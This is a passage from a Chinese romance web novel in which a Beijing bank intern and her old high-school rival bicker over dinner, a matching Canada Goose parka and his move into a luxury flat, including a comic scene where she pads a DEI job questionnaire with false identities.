齐屿:「到家了吗?」 叶颂真:「到了。」 齐屿:「行,那我睡了。」 嗯? 看样子他睡得还挺香? 叶颂真嘁了一声。 没脸没皮的人睡眠质量就是高。 /// 新的一周,叶颂真照常去国贸CBD实习。这里高楼林立,车水马龙,是北京最繁华、最现代化的地方。 在此工作的Jessica,thia,Sophia,想必都是精致到头发丝和指甲盖的都市丽人——这是叶颂真最初的想法。 第一天上班的时候,她特意早起,画全妆、卷头发、喷香水、穿职业套装和高跟鞋。 到公司一看,每个人都朴素至极,尤其是年近五旬的Jessica,慈祥得像她二舅妈。这是北京特有的松弛感,务实不务虚。 第二天,叶颂真就学会了和光同尘。 她才不当显眼包。 外资银行在华开展的业务有限,一般只有对公批发业务,主要服务于境外客户,也有少量国内客户,客群较为固定,业务压力比国内商业银行要小得多,几乎全是后台工作。 既不用坐柜台面对形形色色的私人用户,也不必去商场求爹爹告奶奶地推销信用卡,保留着银行业最后的体面。 外资银行偏好拥有海外教育背景的员工。叶颂真在贸易融资部实习,主要对接北美方面的业务。 上次她去中关村送材料,是因为对方要向海外提供技术外包服务,北美那家公司只认可国际老牌外资银行,指定对方在此开户。 叶颂真放下包,端起马克杯,来到茶水间,为自己做一杯胶囊咖啡。 回到工位,正式开工。她检查邮箱,有几封来自北美事业部的未读邮件,都是待办事宜。 她从抽屉里找出UCP600,查询信用证的到期日,回复第一封邮件。再打开第二封邮件,下载附件,依次审核客户提供的报关、外汇备案材料。 …… 周一上午最为忙碌。 等手头的事情忙得差不多,已到午休时间。 叶颂真去楼下取回外卖,找出一集《继承之战》,美美开动。 国内的外卖便捷、便宜还美味,她在多伦多经常自炊,回国只想偷懒。 前几日,叶知秋得知她在北京天天吃外卖,心疼坏了,又数落她:“你回苏州多好,顿顿能吃上热乎饭。”家长嘛,总视外卖为洪水猛兽,殊不知这可是国外享受不到的福利。 下午暂时没什么工作,叶颂真可以处理私事。她打开自己的笔记本电脑,修改简历,投递网申材料。 不出意外,她将于今年秋季毕业。如今就业形势不好,拿到手的几个Offer都食之无味、弃之可惜,说不焦虑是假的。国内外的机会她都在看,只能希望毕业前夕能有更好的收获。 一周一眨眼就过去了。 齐屿没有骚扰她,他去杭州参加行业会议了。 上有天堂,下有苏杭。千百年来,苏杭总是被相提并论。去杭州跟回家也差不多,西湖边吹吹风、散散步,他应该惬意得很。 周四晚间,叶颂真在家里敷着面膜,收到齐屿的消息。 齐屿:「欠你一顿饭,明晚有空吗?」 难为他还记得这一茬,叶颂真都快忘了。 叶颂真:「吃什么?」 齐屿发来餐厅的信息:「这个行吗?」 这是一家位于SKP的米其林黑珍珠双料餐厅,离叶颂真的公司很近。 叶颂真心想,齐屿现在吃饭都选那么高档的餐厅? 也正常,锦衣夜行不是他的风格。 叶颂真咬咬牙:「行。」 她必须狠狠宰他一顿。 /// 周五一下班,叶颂真就出发了。 她特意对比不同的出行方案,地铁、打车、步行都得十来分钟,众生平等。她选择绿色出行,俗称citywalk。 周五傍晚,夕照金台。国贸CBD堵得水泄不通,鸣笛声不断。 抵达餐厅之后,叶颂真脱下自己的加拿大鹅羽绒服,搭到沙发上。齐屿还得半小时,让她先点单。 叶颂真也不跟他客气,对着菜单点了几道招牌菜。 服务员送来茶水。她喝了一杯,味道不错,又倒一杯。 闲着也是闲着,她打开笔记本电脑,继续在网申系统里填写求职问卷。 喝完第二杯茶的时候,齐屿到了。 他今天穿黑色大衣,围灰色围巾,发型像是打理过,整个人特别板正——不像敲代码的,像拍杂志的。 “你可算来了,”叶颂真起身,“帮我看一下我的电脑,我要去洗手间。” “这里是北京,”齐屿摘下围巾,脱掉大衣,“没人偷你的电脑。” 再一看,叶颂真早就没了人影,只剩下一台笔记本电脑。 齐屿瞥过她的电脑界面,发现她在求职。出于好奇,他多看了一眼。 Name:AshleyYe (姓名:阿什莉·叶) GenderIdentify:Woman (性别认同:女性) Ethnicity:Asian-a (种族:亚裔-中国) SexualOrientation:Lesbian (性向:女同性恋) 看到Lesbian的那一刻,齐屿的眼皮倏地一跳,大脑嗡嗡作响。 5. 北京时间 Chapter05 这时,服务员来上菜:“您好,毛氏红烧肉。” 多余的餐具也被一道撤走了。 齐屿稳了稳心神,继续向下浏览。 Religion:□□ (信仰:□□教) DietaryRequirements:Hal (饮食要求:清真) 问卷只填到这里。 齐屿盯着餐桌中央的红烧肉,陷入沉思。 叶颂真回来了。 她看到色泽油亮、肉香四溢的红烧肉,两眼瞬间放光:“哇,这红烧肉真不错,我在加拿大都吃不到。” 齐屿忍不住问:“你什么时候加入□□教了?” 从无神论者变成□□,也不知这些年她在国外经历了什么。 叶颂真愣了愣,突然反应过来:“齐屿,你偷看我的电脑?” “我没偷看,我正大光明地看。”齐屿狡辩,“是你让我看一下你的电脑。” 叶颂真:“……” 算了,不跟这种没脸没皮的人计较。 叶颂真坐下来,又倒一杯茶:“这是DEI问卷,我只是在给自己叠加Buff(增益效果)。” DEI指的是Diversity,Equity,Inclusion(多元、公平、包容),也就是欧美政治正确的那一套。 北美的大公司几乎都会对求职者发起DEI调查,强调“自愿填写,不影响录用”。 但是,某些雇主还挺看重公司文化背景的多样性,尤其是白左掌权时期。 “叠加什么Buff?” “你可以这么理解,每多一个小众Buff,我被录用的概率就会增加那么一点点。”叶颂真捏着食指和拇指,冲齐屿比划了一下,“当然,也不是越小众越好,最好是向有一定话语权的少数群体靠拢。” “所以你说你信仰□□教?” “是啊,那边的猪肉骚得要命。买回去炖一锅,连锅都得扔了,谁爱吃谁吃。” “……你可真行。” 问卷就快填完了,叶颂真打算一鼓作气。 齐屿在旁边看着她填。 DisabilityStatus:Neurodisability (残障情况:神经残疾) 齐屿:“你能有什么神经残疾?” 叶颂真聪明又伶俐,粘上毛比猴还精。她说自己有神经残疾,谁会信? “多了去了。东亚小孩谁还没点精神问题了?”叶颂真一边举例一边打字,“什么ADHD、PTSD(注意缺陷多动障碍、创伤后应激障碍)……” 出国一趟,她就成残障人士了。 要是真缺胳膊少腿,齐屿也不说她什么了。 他只能一本正经地建议:“可以再加一个NPD(自恋型人格障碍)。” “也不是不行……”叶颂真敲键盘的手停了下来,“还能写什么呢?” 她思考片刻,灵光一闪:“有了!” Additionalents:DistantminorJewishary(1/16). (补充说明:十六分之一犹太血统。) 齐屿实在看不下去了:“你不是土生土长的苏州人吗?哪儿来的犹太血统?还十六分之一?你的高祖父母得被你气活过来。” “低于十六分之一就不算Buff了……”叶颂真从容不迫地解释着,“我都不知道我的高祖父母是谁,别人更不可能知道了。所以,不是不存在这样的可能性——他们之中有人是犹太裔。” “二战时期,你这种人得被抓进集中营。” “根据纳粹的四分法,我这种微量血统不算犹太人。” 齐屿辩不过,指着她的屏幕质问:“你这问卷里有一句真话吗?” “怎么没有真话了?”叶颂真有理有据,“姓名、性别什么的,都是真话。” “性取向也是?” “也许呢。” “也许?你活了二十多年,不知道自己喜欢男的还是女的?” “我又没谈过恋爱。所以,我的性取向应该是薛定谔的性取向。” 这句“没谈过恋爱”,让齐屿紧绷的神经松懈了一秒。 谁知下一秒,叶颂真就为自己找到一条新的论据:“以前在X上,也不是没有拉拉给我发私信。” 齐屿的太阳穴突突地跳动着。 他缓缓地吸了一口气,装不经意地问:“然后呢?” “我没搭理。” “为什么?” “她的学历满足不了我的要求。” “那确实,”齐屿难得表示赞同,“择偶坚决不能放低对学历的要求。” 叶颂真点点头:“我也那么想。” 服务员又来上菜。 这次是樱桃鹅肝、玻璃脆皮乳鸽和葱烧海参。 齐屿想到叶颂真那些真假掺半、模棱两可的说辞,好心提醒:“根据教义,□□信徒不能搞同性恋。你这Buff都叠出Bug了。” “Nobodycares.没有人会核实。”叶颂真对此持无所谓的态度,“Buff早就通货膨胀了,大家都在叠Buff,我要是不叠Buff,我不就被人比下去了?” “那你也不能这么离谱吧?” “我这一点儿也不离谱。我都没有说自己是素食主义者、动物保护主义者、环保主义者、跨性别者呢。” 没想到,还有这么多Buff可以叠加。 这都快合成超级赛亚人了。 “你这不是简历造假吗?”齐屿指责,“被人发现了怎么办?” “这算什么简历造假?”叶颂真越发地理直气壮,“国内求职都说自己精通Office办公软件,结果毕业论文的格式都弄不明白,这就不算简历造假了?我这最多叫简历美化,国内和国外美化的方向不一样而已。” 齐屿快被她的歪理说服了。 精通Office办公软件的人要是有简历上写的那么多,打印店的老板怎么会赚得盆满钵满呢? 叶颂真端起茶杯喝水,顺便点击鼠标,提交DEI问卷。 “寒窗苦读二十载,谁会甘心输在这种地方?”她问齐屿,“你要是我,你会甘心吗?” 齐屿冷笑:“我又不找工作,都是工作找我。” 叶颂真:“……” 死装哥,不装会死吗? “庆幸你在中国吧。”叶颂真不服气,“你要是来北美,还不如我呢。你身上只有一个Buff。” “什么Buff?”齐屿请教。 “亚裔,也算少数族裔Buff吧。”叶颂真掰着手指头给他算,“如果你特别根正苗红,加入了CPC,这在北美 算Debuff。一正一负一抵消,你连唯一的Buff都没有了,直接Buff归零。” 说罢,她将手指头收了回去,用拳头表示鸭蛋。 “而我,至少有两个Buff,”叶颂真伸出剪刀手,“亚裔和女性。所以,我求职的时候比你更有优势。” 感谢伟大的DEI问卷,她又找到一个能赢过齐屿的地方。 齐屿坐到沙发上,将羊毛衫的袖口往上捋了捋,露出坚实、有力的小臂。一道凸起的青筋蜿蜒而上,宛若虬龙。 他看了一眼对面的叶颂真,神色自若:“如果你想用性别赢我,那我认输。” 叶颂真:“……” 这是在说她胜之不武吗? 难道他自认为好男不跟女斗? 叶颂真没把齐屿当成过异性,他是纯度999的死对头,早就脱离了性别属性。 齐屿看她应该也是一样。 “行了,问卷交了,吃饭吧。”齐屿拿起筷子,“菜都要凉了。” 叶颂真啪地合上笔记本电脑,心不甘情不愿地夹起一颗樱桃鹅肝。 “这家餐厅的鹅肝是鹅肝吗?”她鸡蛋里挑骨头,“现在很多餐厅用鸭肝冒充鹅肝。” 齐屿反问:“你的加拿大鹅里充的是鹅绒吗?不会是鸭绒吧?” ……还真让他说中了。 此前,加拿大鹅虚假宣传,用鸭绒冒充鹅绒,被上海市监局处罚,还交了一笔罚金。 现在去买加拿大鹅,店员都会老老实实地告知:“我们用的是鸭绒。” 叶颂真不说话,齐屿又问:“加拿大人都爱穿加拿大鹅?” “不,加拿大鹅在本国也是奢侈品。”叶颂真摇头,“留学生有钱,最爱穿加拿大鹅。” 加拿大鹅算是加拿大的土特产之一。 叶颂真的这一件是她用奖学金买的,作为对自己的奖励。 “那边的加拿大鹅很便宜?” “比国内便宜一些。” “你什么时候回加拿大?能不能帮我买一件?” “四月底吧。那会儿冬天都过去了,没必要买羽绒服了。”叶颂真把脆皮乳鸽大卸八块,“你可以等来年买最新款。” 齐屿夹了一块海参。这家餐厅用的是六头海参,肉厚肥美,特别大只。 “我不用穿最新款,”他若无其事道,“我看你这款就不错。” 叶颂真瞅了瞅自己的羽绒服。 齐屿有病吧?为什么要跟她买一样的羽绒服? 叶颂真没好气:“我很忙,不接代购。” 刚去加拿大的时候,也有亲朋好友托她代购加拿大鹅。后来,他们发现海南免税店卖得比加拿大本土还便宜,就不麻烦她了。 齐屿说:“你不帮我买,那我自己买。” 叶颂真只当他一时兴起,也没往心里去:“……随便你。” 吃完晚饭,二人下楼,刚好路过adaGoose的店面。 SKP秋冬大促,加拿大鹅是最受欢迎的品牌之一。门前在排长队,热闹程度不亚于农贸市场。 齐屿拽着叶颂真去排队。 “你真要买?”叶颂真惊讶,“不再考虑一下?” 齐屿已经考虑好了。 他指了指叶颂真的羽绒服,对店员说:“给我来一件这个。” 叶颂真:“……” 齐屿果然是学人精! 6. 北京时间 Chapter06 齐屿一看就是爽快的顾客。 店员笑脸相迎,热情地向他介绍:“这款派克大衣是男女同款,卖得特别好,经常断码。对了,您一般穿多大码?” 齐屿说:“L码。” “您想要哪个颜色?” “跟她一样,深灰色。” “稍等片刻,我让同事帮您查一下库存。” 店员离开之后,叶颂真拧起眉头:“齐屿,你为什么要跟我买一样的羽绒服?” “人家敞开大门做生意。你能买,我就不能买?”齐屿振振有词,“你不想撞衫,应该去买定制款。” 别人跟她撞衫,那是无意。 他的这种行为是什么?恶意、蓄意、不怀好意。 “齐屿,”叶颂真咬牙切齿,“你就是学人精!” “我是学人精,你是什么?”齐屿嗤笑,“撒谎精?” “学人精!” “撒谎精!” “学人精!” “撒谎精!” 二人激情互骂之时,店员带着衣服来了:“赶巧了,仓库里就剩这一件L码了,刚好是深灰色。您先试试看合不合身,不合身我再帮您找别的码。” 齐屿没去试衣间,直接对着镜子套上衣服。店员为他整理后面的兜帽,夸赞:“哎呀,您穿上这派克大衣真帅气,跟模特一样。” 镜子里的男人,身高腿长,俊朗挺拔。 宽大厚实的羽绒服往身上一罩,显出几分魁梧的气势,一旁的叶颂真都被衬得娇小了起来。 “现在SKP搞活动,十倍积分,满千返百,特别划算。”店员问,“要帮您包起来吗?” “不用,”齐屿说,“我穿着走。” 店员笑开了花:“好咧,那我一会儿帮您把吊牌摘了。” 齐屿去买单了。 叶颂真越想越气,干脆把自己的派克大衣脱了下来。 齐屿拎着装旧衣的袋子,回来一看——叶颂真抱着她的羽绒服,像松鼠抱着松果。 “你怎么把衣服脱了?”齐屿问,“这里热吗?” “谁要跟你穿一样的羽绒服?”叶颂真把他推得远远的,“别跟我走在一起,我不认识你。” “脱了马甲就不认识了?” “……” 这下穿上也不是,脱了也不是,里外不是人。 “齐屿!”叶颂真简直恨得牙痒痒,“你这种人的键盘是不是只有三个键?CTRL+C(复制)和CTRL+V(粘贴)?” “三个键哪儿够用?怎么也得四个键吧。”齐屿游刃有余,“还差一个CTRL+A,一键全选。” 二人推推搡搡、拉拉扯扯地来到商场一楼。 出了旋转门,气温骤然逼近零下。冷风一吹,叶颂真扛不住,还是套上了羽绒服。 有路人好奇地回头看——俊男靓女,登对又养眼。 嗯,他俩应该很恩爱,毕竟穿着情侣款的羽绒服。 叶颂真来到地铁站门口,发现齐屿还没走,便停下脚步:“我坐地铁,你跟着干什么?” “我也坐地铁。” “你不准学我坐地铁!” “怎么?北京地铁是你开的?只准你坐,不准别人坐?” 叶颂真深吸一口气:“那你坐吧,我打车回去。” 齐屿却道:“我改主意了,我也要打车回去。” 叶颂真:“……” 算了,好女不跟男斗。 她从这儿回家也就起步价。而齐屿,从这儿回苏州街得好远好远。 两人都打车,他的损失比她惨重。某种意义上说,她赢得多。 上车之前,叶颂真还不忘骂一句:“学人精!” /// 一到家,叶颂真就找梁丘羽吐槽齐屿的恶劣行径。 叶颂真:「齐屿是不是有病?今天吃完饭,他非要在SKP买一件跟我一模一样的加拿大鹅。」 梁丘羽:「哇,一两万的加拿大鹅,说买就买,这也太有实力了。我看中一条lululemon的瑜伽裤,考虑一周了,还没舍得剁手呢。」 叶颂真:「这是重点吗?重点是齐屿又在学我,他就是学人精!跟当年一模一样。」 梁丘羽:「这怎么不是重点了?你想想,你为了买大鹅吃了多少苦、受了多少罪、挨了多少饿。他呢?跟逛农贸市场似的,提上大鹅就走。这不是在羞辱你吗?」 这样的分析也并非毫无道理。 叶颂真:「你是说……齐屿是在用控制变量法,排除其他因素的干扰,将单个因素的影响放到最大。所以,他要买跟我一模一样的羽绒服?」 梁丘羽:「没错。他想证明他比你有钱。」 叶颂真:“……” 这家伙果然居心叵测。 梁丘羽:「不过话又说回来,这还需要证明吗?人家都在北京买房了哎。」 叶颂真:「梁丘羽!你到底跟谁是朋友?」 梁丘羽立马转变口风。 梁丘羽:「北京买房有什么了不起?贷款三十年买个老破小的比比皆是,生活质量不如阴沟里的老鼠。」 听了这话,叶颂真终于舒服了一点儿。 梁丘羽就是她的心理辅导员。 偏偏这时,齐屿发来消息。 齐屿:「你到家了?」 叶颂真:「不关你的事。」 齐屿:「看来到家了。」 齐屿:「对了,有件事想拜托你。」 齐屿:「下周末我要搬去新房子。东西太多,我一个人收拾不过来。你能不能过来帮我?」 叶颂真懒得搭理他。 转念一想,如果齐屿买的房子真如梁丘羽所言,那将是她打翻身仗的绝佳时机——她已经不爽齐屿很久了。 叶颂真:「本来我不想帮你,但是吧,一想到大家在北京都不容易,我又不忍心。这样吧,我下周末要是没别的事,就过去帮你。」 齐屿:「行,算我欠你一次。」 叶颂真开始期待跟齐屿的下次会面。 这一次,必须一雪前耻。 /// 盼星星,盼月亮,终于盼到下个周末。 为了这一天,叶颂真特意梳妆打扮一番——赢就要赢得光彩。 齐屿帮她叫了一辆专车,从双井直达苏州街。 苏州街始建于乾隆年间,承载着皇家对江南水乡的极致想象。 这个地名令叶颂真倍感亲切。她与这座庞大且陌生的城市之间,竟然也有一缕联系。 想必齐屿恋家,所以住在苏州街。 不,齐屿这种人怎么会有这些旖旎、婉转的情思呢?< /p>他的公司就在苏州街附近,他和叶颂真选择住处的逻辑大抵相同——就近原则。 专车将叶颂真送到目的地。 这个小区平平无奇,楼龄有些年头,外墙斑驳,一楼的防盗网都生了锈。电瓶车、自行车乱停乱放,停车位严重不足。 休闲广场最热闹,遛娃的和遛娃的聊几句,遛狗的和遛狗的聊几句。长椅上还有一排老头在晒太阳、扯闲篇,张口闭口就是美国怎么怎么、俄罗斯又怎么怎么——男人只要上了年纪,自动解锁国际关系学家的身份。 叶颂真心想,这小区看着不怎么样,齐屿还敢在她的面前装大尾巴狼。 她在大脑里搜索着最刻薄、最恶毒的话术,排练腹稿。一想到齐屿破防跳脚的样子,她忍不住要笑出声来。 叶颂真循着门牌号找到齐屿的住处。 门没关,她径直走进去。房子不大,一室一厅的格局,目测五六十平米。 全屋通铺深棕色地板,暗纹提花壁纸,菱形软包的电视背景墙,一看就是十来年前的装修。 客厅里堆着大包小包,凌乱不堪,叶颂真无从下脚。 齐屿抱着一堆衣服从主卧出来。见到叶颂真,他的眼神微微闪动,嘴角不经意地浮起一丝笑意:“你来了。” 他清理出沙发区域,让叶颂真坐下,那堆衣服也被放到沙发上:“帮我把这堆衣服简单叠一下,放到那个包里就行。” 叶颂真看了看这堆当季的衣服,又看了看那个包,不禁发出疑问:“这些衣服你不穿了吗?要收起来?” “穿啊,当然穿。”齐屿说,“先收起来,到那边再挂起来。” “那边?哪边?”叶颂真不解。 “新房子。”齐屿看了一眼时间,“再过一个多小时,搬家公司的车就到楼下了。” 叶颂真哑口无言——搞了半天,这里不是齐屿的新家啊。 幸亏她没有先手嘲讽,否则还不知道要被齐屿奚落成什么样。 叶颂真莫名心虚,因而老老实实地帮齐屿叠衣服。 哎,谁让她答应过来帮忙呢。 叠着叠着,又不甘心。 她怎么还能被齐屿使唤? 于是,叶颂真问:“齐屿,你之前在这儿租房?” “算是吧。”齐屿整理着他的书。 叶颂真决定先探一下虚实:“这个小区的人员好像比较复杂,你为什么选择在这儿租房?” “人员确实比较复杂。”齐屿说,“大多是清华退休的老教授,也有北大的、人大的。” 叶颂真:“……” 那堆晒太阳的老头?清华的老教授?他们聚在一起聊什么来着?哦,那叫大国博弈。 “而且,我也没付租金。”齐屿接着说,“这是公司给我分配的免费人才公寓。” 这个地段、这个面积……免费? 免费的东西,还有什么可挑的呢?叶颂真挑不出,只能气得偷偷跺脚。 一时无话。 齐屿给纸箱打包,叶颂真在叠衣服。叠到一半,她有新发现。 这件衣服怎么那么眼熟?这是……齐屿的高中校服? 叶颂真将衣服翻到背面确认。 上面是黑色记号笔写的五个大字“齐屿是乌龟”,下面画了一只笨拙、可爱的乌龟。 ——正是她的笔迹。 7.北京时间 Chapter07 叶颂真的思绪一瞬间回到那个夏天。 …… 高考前夕,高三无课。 天空是烟波蓝,早蝉不知疲倦地聒噪着。香樟树宛若绿色的海浪,一浪接一浪地翻涌。 倒计时牌上的数字即将归零。热风灌进走廊,栏杆边挤满了高三生,你挨着我,我挨着你。一颗颗压抑已久的心脏,雀跃着、躁动着,想将教学楼掀个底朝天。 教室里反倒没几个人,齐屿是其中之一。 他穿着蓝白校服,半趴在最后一排的课桌上。长腿伸展不开,只能交叠着放。 桌上堆着一摞厚厚的参考资料,胳膊底下还压着一本《南通密卷》。他把玩着签字笔,笔帽被摁得咔咔作响。 叶颂真从书包里悄悄地摸出一支记号笔,踩着小步来到齐屿身边,叫他的名字:“齐屿。” 少年闻声抬眼。叶颂真扎着马尾,一缕碎发沾着细汗,贴在前额,像弯曲的字母。 齐屿慢腾腾地直起身子,清了清嗓:“什么事?” “马上就要高考了,也不知道以后还有没有机会见你。”叶颂真难得露出羞赧的神色,“跟你当了几年同学,临毕业了还有点儿舍不得……” 齐屿打量着她,从喉咙深处发出一声闷笑:“怎么?你怕高考考砸,没法跟我一起去北京?” “别担心,就算你考到山沟沟,我也会去看你的……”齐屿顿了顿,继续说下去,“笑话。” 叶颂真今天倒是好脾气,没像炮仗那样一点就爆炸。她拿出记号笔,对齐屿说:“咱们互相在校服上留个言吧,当作纪念。我先帮你写,你再帮我写。” 齐屿垂眸看了看这支记号笔,又抬眸看了看她认真的表情,这才应允:“行吧。” “那你坐好了,”叶颂真拔下笔帽,挪到齐屿的身后,“我要写咯。” 齐屿的背绷得很直,笔尖所触之处,如履平地。他盯着黑板上方的时钟,耐心地等待着:“你写的什么啊?是在写字吗?” “有字也有画,马上就好。” “……” 终于,叶颂真完成最后一笔,咔哒一声扣紧笔帽。齐屿管她要记号笔,她却把笔藏到身后:“你先脱下来看看喜不喜欢。” 齐屿拉开拉链,脱掉校服,翻到背面一看—— 一只乌龟正在对他微笑,上面还写了五个显眼的大字“齐屿是乌龟”。 齐屿的脸色陡然一变。再看叶颂真,她早已溜到教室门口。 “叶颂真!”齐屿抓起校服就追,“你给我站住!” 叶颂真从人群中穿梭而过,来到走廊的尽头,沿着旋转楼梯下楼,生怕慢一秒就被齐屿逮到。 齐屿在后头穷追不舍。奈何汹涌的人潮拦住去路,他总也追不上。 叶颂真跑到教学楼下的天井,实在跑不动了。她捂着胸口大声喘息,又捂着肚子大笑不止。 齐屿跟了上来,一把拽住她的胳膊,欲将她制服。她却抬起另一只手,指向天空的方向:“齐屿,你快看!” 齐屿仰头望去。 每一层的走廊上都是乌压压的人,欢呼声、喝彩声、口哨声,山呼海啸,此起彼伏。 不知是谁一声令下:“高考必胜——” 一沓沓试卷被抛向天空,又像雪片一样飘下来。 叶颂真在漫天飞雪里张开双臂,旋转、跳跃、尖叫。 那天的阳光多么灿烂,灿烂到令人炫目。 每个人的未来,她的,还有他的,都在熠熠生辉、闪闪发光。 …… 叶颂真陷在回忆里。直到手上的校服被齐屿一把扯走,她才如梦初醒。 “这件怎么混进去了?”齐屿把校服团成一团,想随便找个地方塞起来。 “你还留着这件校服做什么?” “我就这么一件高中校服,还不能留个纪念了?” “学校明明发了好几套校服,你怎么就这一件?” “其他都没了,就剩这一件,”齐屿幽幽地看着她,“还被你毁了……” 叶颂真被戳了一下。 这是在控诉她的所作所为?齐屿果然记仇,八百年前的事还没忘。 “那我赔你一件,反正咱们高中的校服几十年如一日的丑。”叶颂真冲他伸出手,“这件给我,我现在就帮你扔了。” “新买的和穿过的能一样吗?”齐屿把校服丢进纸箱,用透明胶带封住纸箱,像粽子一样裹得严严实实。 完事之后,齐屿瞥着她:“你以为谁都跟你似的,把以前的事忘得干干净净。” 叶颂真又被戳了一下。 她干的那些坏事,她确实记不太清了。但是,齐屿对她干的那些坏事,她可没忘。 叶颂真旧事重提:“高一校运会,是谁偷偷帮我报名女子一千五百米?” 当时,她拼着一口气,跑到差点儿吐血。偏偏班主任事后还夸她为班级荣誉做出了巨大贡献,搞得她骑虎难下。到了高二,班主任又给她报名上了……每每想起这件事,她都会痛骂齐屿乌龟王八蛋。 齐屿毫不示弱:“是谁打扫包干区的时候,把垃圾全都扫到我的地盘?” “是谁把自己的获奖证书摆在我的课桌上,”叶颂真阴阳怪气,“生怕我不知道他得奖?” 齐屿咄咄逼人:“是谁为了竞选班长贿赂同学,被老师取消竞选资格?” 叶颂真无语至极:“难道你没有?” 她只是给同学发发小零食。齐屿呢?他承诺当上班长之后请全班吃饭。 最后他俩双双被取消竞选资格。 叶颂真觉得,齐屿根本不想当班长,只想给她使绊子。 否则,他不会在她报名竞选之后才突发奇想要当班长。 两人的旧账,翻上三天三夜也翻不完。吵吵嚷嚷之际,齐屿的手机响了。 搬家公司已到楼下,他的东西还没收拾好。 停战,停战。 还有正事要干。 /// 搬家公司装车离开。 齐屿又叫了一辆专车,载着他俩一起去新房子。 叶颂真抱着臂翘着腿坐在后排,跟齐屿隔着楚河汉界。 一个心思活泛,一个心怀鬼胎。 梁丘羽:「怎么样?到齐屿家了吗?有没有把你的场子找回来?」 叶颂真:「还没呢,在路上。」 梁丘羽:「你不是一大早就出发了吗?」 叶颂真:「这不得先帮他打包么?我发现,齐屿的心眼特别小。当年我在他的校服上乱涂乱画,他到现在还留着那件校服。」 梁丘羽:「必然是为了时刻激励自己,勿忘旧耻,就跟越王勾践卧薪尝胆是一个道理。难怪齐屿能取得如今的成就。」 叶颂真:「……成就?」 梁丘羽:「我这里用的是贬义。此男心机深沉,一般人斗不过他,何况是你。」 叶颂真:「我怎么了?」 梁丘羽:「过于单纯。」 “又跟你闺蜜编排我什么呢?”齐屿语出惊人。 叶颂真被杀了个措手不及,立刻捂上手机屏幕。齐屿往她那儿扫了一眼,顿时冷笑。 此地无银三百两。 叶颂真只能熄灭手机屏幕,装模作样地说:“我闺蜜说你现在可是成功人士。” “不敢当。”齐屿应付自如,“成功不是绝对的,都是相对的。” “跟谁相对?” “自己心里清楚就行。” “……” 叶颂真想把齐屿的脖子当毛巾拧。 新小区在圆明园附近,这里人车分流,车得从地下走。 车库的入口大门是大气的浅金属色,斜坡铺着天然马蹄石,顶上亮着星空流苏灯,角落里还设置了几处典雅的造景。 叶颂真有一种不好的预感。 这个小区好像有点儿高级。 下车之后,齐屿带她上电梯。 这栋楼是典型的两梯两户格局,每户分别享有一间电梯厅,中间以安全门隔开。 出了电梯,直达玄关。 玄关的地砖黑白相间,像国际象棋的棋盘。柜子悬空,底部装有自动感应的灯带。几丛仿真绿植带来些许生机,南天竹、龟背竹、波士顿蕨……错落有致、郁郁苍苍。 齐屿找出拖鞋,递给叶颂真:“这儿没有女士拖鞋,你就穿这个吧。” 叶颂真瞅了瞅那双大码的男士拖鞋:“这是你的拖鞋?” “新的,”齐屿解释,“我没穿 过。” 叶颂真换上拖鞋。 她个头不矮,一米六八,脚码却不大。穿上这双拖鞋,就像小孩偷穿大人的衣服,显得有些滑稽。 叶颂真抱怨:“齐屿,你的脚怎么那么大?” “我个子还高呢,”齐屿强调,“一米八六。” “男性身高公式,过五减四,低五为零。”叶颂真算得飞快,“你一米八二。” 齐屿顺势便道:“那我一米九。” 这年头,身高和Buff一样,早就通货膨胀了。 专门欺负老实人。 齐屿用指纹解锁入户门,对她做了一个“请”的手势。 一进门,叶颂真的瞳孔震了震。 建面两百平,四室两厅三卫。 客厅装了一整面的大玻璃,窗景一览无遗。人在家中坐,远眺皇家园林。象牙白的哑光砖面,泛着珍珠般的细腻色泽,一条砖缝都看不出,工艺完美。北美黑胡桃木的定制家具,简约又有格调。 叶颂真家前几年刚在苏州置换了一套新房。所以,她对装修略懂一二。 别的不提,光是那块大玻璃,要价就得六位数——齐屿可真舍得。 叶颂真抚着岛台的大理石。 这把逆风局,打还是不打? 齐屿率先开口:“这房子还不错吧?楼下就是圆明园、颐和园,旁边还有清华、北大。” “……是不错,应该也不便宜吧?”叶颂真欲抑先扬,“你贷了多少?” “没多少。” “还剩多少年?” “差不多三十年吧。” “三十年?”叶颂真痛击,“你的工作能干到三十年以后?” “每个月还款1元,”齐屿不慌不忙地说,“工不工作都不影响吧?” “每个月还款1元?” “本来我想付全款,但是房贷每个月可以抵税一千。所以,经过精确计算,我把房贷控制在每个月1元。” “你连这点儿税也要省?” “没办法,阶梯税率太高,45%,已经到顶了。一年省下五千多,过两年又能买加拿大鹅了。” 叶颂真哑口无言。 齐屿又在挑衅她! 搬家师傅放下东西就离开了。 齐屿拿出一瓶气泡苏打水,右手食指摸上拉环,啪的一声,单手打开易拉罐,递给叶颂真:“渴了吧?喝点水。” 叶颂真坐在真皮沙发上,咕嘟咕嘟地喝水,越喝越气。 人不能,至少不该…… 混得那么好吧? 叶颂真:「心理辅导员,我不得劲。」 梁丘羽:「你找不到齐屿新家的缺点吗?」 叶颂真:「只有一个显而易见的缺点。」 梁丘羽:「什么?」 叶颂真:「房本上没写我的名字。」 门铃突然响了,齐屿腾不开手,让叶颂真帮忙开门。 趁着搬家,他断舍离了一批旧物,又添置了一些家当——他新买的弹簧床垫到了。 送货师傅拆下里三层外三层的包装,把床垫搬到主卧的大床上。 叶颂真听说过这个牌子。独立袋装弹簧,天然乳胶填充,亲肤针织面料,价格自然也不便宜。她很好奇:“这床垫比一般床垫更好睡吗?” 送货师傅用力摁了摁床垫,告诉她:“放心吧,咱家的东西质量好,随便你怎么折腾都坏不了。” 叶颂真出言否认:“我只是过来帮忙,又不睡这儿……” 她真是多余出现在这里。齐屿的东西不多,一个人完全收拾得过来。 这家伙把她叫来,就是为了炫耀吧?可恶,又中了他的圈套。 送货师傅离开之后,叶颂真问齐屿:“你刚刚怎么不说话?” 齐屿反问:“说什么?” 叶颂真提醒:“人家误会我是这房子的女主人。” “你居然在意陌生人的看法?”齐屿无所谓地耸肩,“只要你行得正、坐得端,不打这房子的歪主意,怕什么?” 叶颂真:“……” 她还真打过那么一秒的歪主意。 这么好的房子,真是生不逢时、遇人不淑。 齐屿他住得明白吗?住不明白就起开,她可以! 8.北京时间 Chapter08 临近傍晚,齐屿终于把新家拾掇得差不多了。 全套的高支匹马棉床品已经就位,锅碗瓢盆在厨房整齐列队,行李箱也回到了量身打造的储藏柜。 “我要去趟超市,买一些生活用品。”齐屿问叶颂真,“一起去吗?” 叶颂真看了一眼窗外,夕阳无限好,晚霞烧透半边天。她说:“天色不早了,我该回家了。” 